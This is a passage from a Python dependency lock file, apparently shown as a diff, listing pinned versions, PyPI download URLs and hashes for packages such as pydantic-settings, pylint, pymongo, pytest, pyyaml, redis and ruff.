"https://files.pythonhosted.org/packages/5c/96/5fb7d8c3c17bc8c62fdb031c47d77a1af698f1d7a406b0f79aaa1338f9ad/pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa", size = 1988906, upload-time = "2025-11-04T13:41:56.606Z" }, + { url = "https://files.pythonhosted.org/packages/22/ed/182129d83032702912c2e2d8bbe33c036f342cc735737064668585dac28f/pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c", size = 1981607, upload-time = "2025-11-04T13:41:58.889Z" }, + { url = "https://files.pythonhosted.org/packages/9f/ed/068e41660b832bb0b1aa5b58011dea2a3fe0ba7861ff38c4d4904c1c1a99/pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008", size = 1974769, upload-time = "2025-11-04T13:42:01.186Z" }, +] + +[[package]] +name = "pydantic-settings" +version = "2.12.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "python-dotenv" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/43/4b/ac7e0aae12027748076d72a8764ff1c9d82ca75a7a52622e67ed3f765c54/pydantic_settings-2.12.0.tar.gz", hash = "sha256:005538ef951e3c2a68e1c08b292b5f2e71490def8589d4221b95dab00dafcfd0", size = 194184, upload-time = "2025-11-10T14:25:47.013Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c1/60/5d4751ba3f4a40a6891f24eec885f51afd78d208498268c734e256fb13c4/pydantic_settings-2.12.0-py3-none-any.whl", hash = "sha256:fddb9fd99a5b18da837b29710391e945b1e30c135477f484084ee513adb93809", size = 51880, upload-time = "2025-11-10T14:25:45.546Z" }, +] + +[[package]] +name = "pygments" +version = "2.19.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" }, +] + +[[package]] +name = "pyjwt" +version = "2.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5c/5a/b46fa56bf322901eee5b0454a34343cdbdae202cd421775a8ee4e42fd519/pyjwt-2.11.0.tar.gz", hash = "sha256:35f95c1f0fbe5d5ba6e43f00271c275f7a1a4db1dab27bf708073b75318ea623", size = 98019, upload-time = "2026-01-30T19:59:55.694Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6f/01/c26ce75ba460d5cd503da9e13b21a33804d38c2165dec7b716d06b13010c/pyjwt-2.11.0-py3-none-any.whl", hash = "sha256:94a6bde30eb5c8e04fee991062b534071fd1439ef58d2adc9ccb823e7bcd0469", size = 28224, upload-time = "2026-01-30T19:59:54.539Z" }, +] + +[[package]] +name = "pylint" +version = "4.0.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "astroid" }, + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "dill" }, + { name = "isort" }, + { name = "mccabe" }, + { name = "platformdirs" }, + { name = "tomlkit" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5a/d2/b081da1a8930d00e3fc06352a1d449aaf815d4982319fab5d8cdb2e9ab35/pylint-4.0.4.tar.gz", hash = "sha256:d9b71674e19b1c36d79265b5887bf8e55278cbe236c9e95d22dc82cf044fdbd2", size = 1571735, upload-time = "2025-11-30T13:29:04.315Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a6/92/d40f5d937517cc489ad848fc4414ecccc7592e4686b9071e09e64f5e378e/pylint-4.0.4-py3-none-any.whl", hash = "sha256:63e06a37d5922555ee2c20963eb42559918c20bd2b21244e4ef426e7c43b92e0", size = 536425, upload-time = "2025-11-30T13:29:02.53Z" }, +] + +[[package]] +name = "pylint-per-file-ignores" +version = "3.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pylint" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/64/b2/cf916c3c8127282f60927a3fd382ef8e477e6ef090b3d1f1fedd62bff916/pylint_per_file_ignores-3.2.0.tar.gz", hash = "sha256:5eb30b2b64c49ca616b8940346b8b5b4973eeaa15700840c8b81a4b8ba565a02", size = 63854, upload-time = "2025-11-25T14:13:14.577Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/6a/09cbda0032e1040eea8c7daec3994e6d32b3edc26a81d226fd643537886b/pylint_per_file_ignores-3.2.0-py3-none-any.whl", hash = "sha256:8b995b7486f6652f942cf5721e24c29b72735fa911b6d22b65b2f87bad323590", size = 5576, upload-time = "2025-11-25T14:13:13.208Z" }, +] + +[[package]] +name = "pylint-plugin-utils" +version = "0.9.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pylint" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/73/85/24eaf5d0d078fc8799ae6d89faf326d6e4d27d862fc9a710a52ab07b7bb5/pylint_plugin_utils-0.9.0.tar.gz", hash = "sha256:5468d763878a18d5cc4db46eaffdda14313b043c962a263a7d78151b90132055", size = 10474, upload-time = "2025-06-24T07:14:00.534Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5e/c9/a3b871b0b590c49e38884af6dab58ab9711053bd5c39b8899b72e367b9f6/pylint_plugin_utils-0.9.0-py3-none-any.whl", hash = "sha256:16e9b84e5326ba893a319a0323fcc8b4bcc9c71fc654fcabba0605596c673818", size = 11129, upload-time = "2025-06-24T07:13:58.993Z" }, +] + +[[package]] +name = "pylint-pydantic" +version = "0.4.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "pylint" }, + { name = "pylint-plugin-utils" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/2d/ac/5de3c91c7f9354444af251f053cc9953c89cce1defa74b907f67be4f770a/pylint_pydantic-0.4.1-py3-none-any.whl", hash = "sha256:d1b937abe5c346d38de69ee1ada80c93d38ee2356addbabb687e2eb44036ac93", size = 16161, upload-time = "2025-10-27T08:03:33.641Z" }, +] + +[[package]] +name = "pymongo" +version = "4.16.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "dnspython" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/65/9c/a4895c4b785fc9865a84a56e14b5bd21ca75aadc3dab79c14187cdca189b/pymongo-4.16.0.tar.gz", hash = "sha256:8ba8405065f6e258a6f872fe62d797a28f383a12178c7153c01ed04e845c600c", size = 2495323, upload-time = "2026-01-07T18:05:48.107Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/30/9e/4d343f8d0512002fce17915a89477b9f916bda1205729e042d8f23acf194/pymongo-4.16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:8a254d49a9ffe9d7f888e3c677eed3729b14ce85abb08cd74732cead6ccc3c66", size = 1026634, upload-time = "2026-01-07T18:04:54.359Z" }, + { url = "https://files.pythonhosted.org/packages/c3/e3/341f88c5535df40c0450fda915f582757bb7d988cdfc92990a5e27c4c324/pymongo-4.16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a1bf44e13cf2d44d2ea2e928a8140d5d667304abe1a61c4d55b4906f389fbe64", size = 1026252, upload-time = "2026-01-07T18:04:56.642Z" }, + { url = "https://files.pythonhosted.org/packages/af/64/9471b22eb98f0a2ca0b8e09393de048502111b2b5b14ab1bd9e39708aab5/pymongo-4.16.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:f1c5f1f818b669875d191323a48912d3fcd2e4906410e8297bb09ac50c4d5ccc", size = 2207399, upload-time = "2026-01-07T18:04:58.255Z" }, + { url = "https://files.pythonhosted.org/packages/87/ac/47c4d50b25a02f21764f140295a2efaa583ee7f17992a5e5fa542b3a690f/pymongo-4.16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:77cfd37a43a53b02b7bd930457c7994c924ad8bbe8dff91817904bcbf291b371", size = 2260595, upload-time = "2026-01-07T18:04:59.788Z" }, + { url = "https://files.pythonhosted.org/packages/ee/1b/0ce1ce9dd036417646b2fe6f63b58127acff3cf96eeb630c34ec9cd675ff/pymongo-4.16.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:36ef2fee50eee669587d742fb456e349634b4fcf8926208766078b089054b24b", size = 2366958, upload-time = "2026-01-07T18:05:01.942Z" }, + { url = "https://files.pythonhosted.org/packages/3e/3c/a5a17c0d413aa9d6c17bc35c2b472e9e79cda8068ba8e93433b5f43028e9/pymongo-4.16.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:55f8d5a6fe2fa0b823674db2293f92d74cd5f970bc0360f409a1fc21003862d3", size = 2346081, upload-time = "2026-01-07T18:05:03.576Z" }, + { url = "https://files.pythonhosted.org/packages/65/19/f815533d1a88fb8a3b6c6e895bb085ffdae68ccb1e6ed7102202a307f8e2/pymongo-4.16.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9caacac0dd105e2555521002e2d17afc08665187017b466b5753e84c016628e6", size = 2246053, upload-time = "2026-01-07T18:05:05.459Z" }, + { url = "https://files.pythonhosted.org/packages/c6/88/4be3ec78828dc64b212c123114bd6ae8db5b7676085a7b43cc75d0131bd2/pymongo-4.16.0-cp314-cp314-win32.whl", hash = "sha256:c789236366525c3ee3cd6e4e450a9ff629a7d1f4d88b8e18a0aea0615fd7ecf8", size = 989461, upload-time = "2026-01-07T18:05:07.018Z" }, + { url = "https://files.pythonhosted.org/packages/af/5a/ab8d5af76421b34db483c9c8ebc3a2199fb80ae63dc7e18f4cf1df46306a/pymongo-4.16.0-cp314-cp314-win_amd64.whl", hash = "sha256:2b0714d7764efb29bf9d3c51c964aed7c4c7237b341f9346f15ceaf8321fdb35", size = 1017803, upload-time = "2026-01-07T18:05:08.499Z" }, + { url = "https://files.pythonhosted.org/packages/f6/f4/98d68020728ac6423cf02d17cfd8226bf6cce5690b163d30d3f705e8297e/pymongo-4.16.0-cp314-cp314-win_arm64.whl", hash = "sha256:12762e7cc0f8374a8cae3b9f9ed8dabb5d438c7b33329232dd9b7de783454033", size = 997184, upload-time = "2026-01-07T18:05:09.944Z" }, + { url = "https://files.pythonhosted.org/packages/50/00/dc3a271daf06401825b9c1f4f76f018182c7738281ea54b9762aea0560c1/pymongo-4.16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:1c01e8a7cd0ea66baf64a118005535ab5bf9f9eb63a1b50ac3935dccf9a54abe", size = 1083303, upload-time = "2026-01-07T18:05:11.702Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4b/b5375ee21d12eababe46215011ebc63801c0d2c5ffdf203849d0d79f9852/pymongo-4.16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:4c4872299ebe315a79f7f922051061634a64fda95b6b17677ba57ef00b2ba2a4", size = 1083233, upload-time = "2026-01-07T18:05:13.182Z" }, + { url = "https://files.pythonhosted.org/packages/ee/e3/52efa3ca900622c7dcb56c5e70f15c906816d98905c22d2ee1f84d9a7b60/pymongo-4.16.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:78037d02389745e247fe5ab0bcad5d1ab30726eaac3ad79219c7d6bbb07eec53", size = 2527438, upload-time = "2026-01-07T18:05:14.981Z" }, + { url = "https://files.pythonhosted.org/packages/cb/96/43b1be151c734e7766c725444bcbfa1de6b60cc66bfb406203746839dd25/pymongo-4.16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c126fb72be2518395cc0465d4bae03125119136462e1945aea19840e45d89cfc", size = 2600399, upload-time = "2026-01-07T18:05:16.794Z" }, + { url = "https://files.pythonhosted.org/packages/e7/62/fa64a5045dfe3a1cd9217232c848256e7bc0136cffb7da4735c5e0d30e40/pymongo-4.16.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f3867dc225d9423c245a51eaac2cfcd53dde8e0a8d8090bb6aed6e31bd6c2d4f", size = 2720960, upload-time = "2026-01-07T18:05:18.498Z" }, + { url = "https://files.pythonhosted.org/packages/54/7b/01577eb97e605502821273a5bc16ce0fb0be5c978fe03acdbff471471202/pymongo-4.16.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f25001a955073b80510c0c3db0e043dbbc36904fd69e511c74e3d8640b8a5111", size = 2699344, upload-time = "2026-01-07T18:05:20.073Z" }, + { url = "https://files.pythonhosted.org/packages/55/68/6ef6372d516f703479c3b6cbbc45a5afd307173b1cbaccd724e23919bb1a/pymongo-4.16.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d9885aad05f82fd7ea0c9ca505d60939746b39263fa273d0125170da8f59098", size = 2577133, upload-time = "2026-01-07T18:05:22.052Z" }, + { url = "https://files.pythonhosted.org/packages/15/c7/b5337093bb01da852f945802328665f85f8109dbe91d81ea2afe5ff059b9/pymongo-4.16.0-cp314-cp314t-win32.whl", hash = "sha256:948152b30eddeae8355495f9943a3bf66b708295c0b9b6f467de1c620f215487", size = 1040560, upload-time = "2026-01-07T18:05:23.888Z" }, + { url = "https://files.pythonhosted.org/packages/96/8c/5b448cd1b103f3889d5713dda37304c81020ff88e38a826e8a75ddff4610/pymongo-4.16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:f6e42c1bc985d9beee884780ae6048790eb4cd565c46251932906bdb1630034a", size = 1075081, upload-time = "2026-01-07T18:05:26.874Z" }, + { url = "https://files.pythonhosted.org/packages/32/cd/ddc794cdc8500f6f28c119c624252fb6dfb19481c6d7ed150f13cf468a6d/pymongo-4.16.0-cp314-cp314t-win_arm64.whl", hash = "sha256:6b2a20edb5452ac8daa395890eeb076c570790dfce6b7a44d788af74c2f8cf96", size = 1047725, upload-time = "2026-01-07T18:05:28.47Z" }, +] + +[[package]] +name = "pytest" +version = "9.0.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d1/db/7ef3487e0fb0049ddb5ce41d3a49c235bf9ad299b6a25d5780a89f19230f/pytest-9.0.2.tar.gz", hash = "sha256:75186651a92bd89611d1d9fc20f0b4345fd827c41ccd5c299a868a05d70edf11", size = 1568901, upload-time = "2025-12-06T21:30:51.014Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3b/ab/b3226f0bd7cdcf710fbede2b3548584366da3b19b5021e74f5bde2a8fa3f/pytest-9.0.2-py3-none-any.whl", hash = "sha256:711ffd45bf766d5264d487b917733b453d917afd2b0ad65223959f59089f875b", size = 374801, upload-time = "2025-12-06T21:30:49.154Z" }, +] + +[[package]] +name = "pytest-cov" +version = "7.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "coverage" }, + { name = "pluggy" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5e/f7/c933acc76f5208b3b00089573cf6a2bc26dc80a8aece8f52bb7d6b1855ca/pytest_cov-7.0.0.tar.gz", hash = "sha256:33c97eda2e049a0c5298e91f519302a1334c26ac65c1a483d6206fd458361af1", size = 54328, upload-time = "2025-09-09T10:57:02.113Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ee/49/1377b49de7d0c1ce41292161ea0f721913fa8722c19fb9c1e3aa0367eecb/pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861", size = 22424, upload-time = "2025-09-09T10:57:00.695Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f0/26/19cadc79a718c5edbec86fd4919a6b6d3f681039a2f6d66d14be94e75fb9/python_dotenv-1.2.1.tar.gz", hash = "sha256:42667e897e16ab0d66954af0e60a9caa94f0fd4ecf3aaf6d2d260eec1aa36ad6", size = 44221, upload-time = "2025-10-26T15:12:10.434Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/14/1b/a298b06749107c305e1fe0f814c6c74aea7b2f1e10989cb30f544a1b3253/python_dotenv-1.2.1-py3-none-any.whl", hash = "sha256:b81ee9561e9ca4004139c6cbba3a238c32b03e4894671e181b671e8cb8425d61", size = 21230, upload-time = "2025-10-26T15:12:09.109Z" }, +] + +[[package]] +name = "pyyaml" +version = "6.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" }, + { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" }, + { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" }, + { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" }, + { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" }, + { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" }, + { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" }, + { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" }, + { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" }, + { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" }, + { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" }, + { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" }, + { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" }, + { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" }, + { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" }, +] + +[[package]] +name = "redis" +version = "7.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/c8/983d5c6579a411d8a99bc5823cc5712768859b5ce2c8afe1a65b37832c81/redis-7.1.0.tar.gz", hash = "sha256:b1cc3cfa5a2cb9c2ab3ba700864fb0ad75617b41f01352ce5779dabf6d5f9c3c", size = 4796669, upload-time = "2025-11-19T15:54:39.961Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/89/f0/8956f8a86b20d7bb9d6ac0187cf4cd54d8065bc9a1a09eb8011d4d326596/redis-7.1.0-py3-none-any.whl", hash = "sha256:23c52b208f92b56103e17c5d06bdc1a6c2c0b3106583985a76a18f83b265de2b", size = 354159, upload-time = "2025-11-19T15:54:38.064Z" }, +] + +[[package]] +name = "ruff" +version = "0.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c8/39/5cee96809fbca590abea6b46c6d1c586b49663d1d2830a751cc8fc42c666/ruff-0.15.0.tar.gz", hash = "sha256:6bdea47cdbea30d40f8f8d7d69c0854ba7c15420ec75a26f463290949d7f7e9a", size = 4524893, upload-time = "2026-02-03T17:53:35.357Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bc/88/3fd1b0aa4b6330d6aaa63a285bc96c9f71970351579152d231ed90914586/ruff-0.15.0-py3-none-linux_armv6l.whl", hash = "sha256:aac4ebaa612a82b23d45964586f24ae9bc23ca101919f5590bdb368d74ad5455", size = 10354332, upload-time = "2026-02-03T17:52:54.892Z" }, + { url = "https://files.pythonhosted.org/packages/72/f6/62e173fbb7eb75cc29fe2576a1e20f0a46f671a2587b5f604bfb0eaf5f6f/ruff-0.15.0-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:dcd4be7cc75cfbbca24a98d04d0b9b36a270d0833241f776b788d59f4142b14d", size = 10767189, upload-time = "2026-02-03T17:53:19.778Z" }, + { url = "https://files.pythonhosted.org/packages/99/e4/968ae17b676d1d2ff101d56dc69cf333e3a4c985e1ec23803df84fc7bf9e/ruff-0.15.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:d747e3319b2bce179c7c1eaad3d884dc0a199b5f4d5187620530adf9105268ce", size = 10075384, upload-time = "2026-02-03T17:53:29.241Z" }, + { url = "https://files.pythonhosted.org/packages/a2/bf/9843c6044ab9e20af879c751487e61333ca79a2c8c3058b15722386b8cae/ruff-0.15.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:650bd9c56ae03102c51a5e4b554d74d825ff3abe4db22b90fd32d816c2e90621", size = 10481363, upload-time = "2026-02-03T17:52:43.332Z" }, + { url = "https://files.pythonhosted.org/packages/55/d9/4ada5ccf4cd1f532db1c8d44b6f664f2208d3d93acbeec18f82315e15193/ruff-0.15.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6664b7eac559e3048223a2da77769c2f92b43a6dfd4720cef42654299a599c9", size = 10187736, upload-time = "2026-02-03T17:53:00.522Z" }, + { url = "https://files.pythonhosted.org/packages/86/e2/f25eaecd446af7bb132af0a1d5b135a62971a41f5366ff41d06d25e77a91/ruff-0.15.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f811f97b0f092b35320d1556f3353bf238763420ade5d9e62ebd2b73f2ff179", size = 10968415, upload-time = "2026-02-03T17:53:15.705Z" }, + { url = "https://files.pythonhosted.org/packages/e7/dc/f06a8558d06333bf79b497d29a50c3a673d9251214e0d7ec78f90b30aa79/ruff-0.15.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:761ec0a66680fab6454236635a39abaf14198818c8cdf691e036f4bc0f406b2d", size = 11809643, upload-time = "2026-02-03T17:53:23.031Z" }, + { url = "https://files.pythonhosted.org/packages/dd/45/0ece8db2c474ad7df13af3a6d50f76e22a09d078af63078f005057ca59eb/ruff-0.15.0-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:940f11c2604d317e797b289f4f9f3fa5555ffe4fb574b55ed006c3d9b6f0eb78", size = 11234787, upload-time = "2026-02-03T17:52:46.432Z" }, + { url = "https://files.pythonhosted.org/packages/8a/d9/0e3a81467a120fd265658d127db648e4d3acfe3e4f6f5d4ea79fac47e587/ruff-0.15.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bcbca3d40558789126da91d7ef9a7c87772ee107033db7191edefa34e2c7f1b4", size = 11112797, upload-time = "2026-02-03T17:52:49.274Z" }, + { url = "https://files.pythonhosted.org/packages/b2/cb/8c0b3b0c692683f8ff31351dfb6241047fa873a4481a76df4335a8bff716/ruff-0.15.0-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:9a121a96db1d75fa3eb39c4539e607f628920dd72ff1f7c5ee4f1b768ac62d6e", size = 